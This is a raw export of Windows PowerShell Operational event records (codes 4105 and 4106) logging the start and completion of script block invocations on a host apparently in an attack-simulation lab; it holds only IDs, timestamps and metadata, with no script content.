Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024831
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024825
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024805
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024803
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024802
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024782
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
